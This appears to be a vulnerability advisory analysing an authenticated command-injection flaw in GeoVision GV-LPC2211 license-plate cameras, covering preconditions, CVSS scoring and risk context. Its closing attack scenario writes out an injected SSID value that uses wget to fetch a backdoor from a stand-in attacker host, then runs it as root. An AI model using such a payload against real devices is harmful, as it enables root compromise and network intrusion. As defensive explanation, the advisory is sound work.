GeoVision GV-LPC2211 CVE-2026-88274

Exploitation requires valid administrator-level credentials on the GV-LPC2011 or GV-LPC2211 device, as reflected by PR:H in the CVSS vector. The attacker must be able to reach the device's management interface over the network and submit a modified wireless SSID configuration. The wireless subsystem must be accessible through the management UI - devices with wireless physically disabled or SSID configuration locked out present a reduced attack surface. The key limiting factor is the requirement for high-privilege authentication: this is not exploitable by unauthenticated users or low-privilege accounts. Exploitation risk is elevated in environments where default credentials have not been changed, where admin credentials are shared across many devices, or where the management interface is reachable from untrusted network segments.

The CVSS 7.2 score (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) accurately captures the principal limiting factor - administrator-level credentials are required, which substantially narrows the realistic attacker population compared to unauthenticated vulnerabilities. However, LPC cameras in parking or traffic management environments frequently share default credentials across fleets or have admin interfaces exposed on flat OT/IoT network segments, and even a mid-sized municipal IT team in walbrzych operating such infrastructure should treat this as urgent if admin credential hygiene cannot be verified. No EPSS score was included in the intelligence, so exploitation probability cannot be quantified numerically. The CVE is not in the CISA KEV catalog and no POC has been identified, suggesting opportunistic mass exploitation is not occurring. The impact once admin access is obtained is severe - full root compromise of the embedded OS enables firmware tampering, lateral network movement, video feed manipulation, and persistent backdoor installation.

An attacker who has obtained administrator credentials - through default credential enumeration, credential reuse from another compromised system, or network sniffing on an unsegmented OT network - logs into the GV-LPC2211 web management interface and sets the wireless SSID field to a value such as valid_network; wget http://attacker.com/backdoor -O /tmp/bd; chmod +x /tmp/bd; /tmp/bd. When the device processes this configuration, the embedded shell interprets the injected commands and executes them as root, giving the attacker a persistent foothold on the camera device and a potential pivot point into the connected network segment.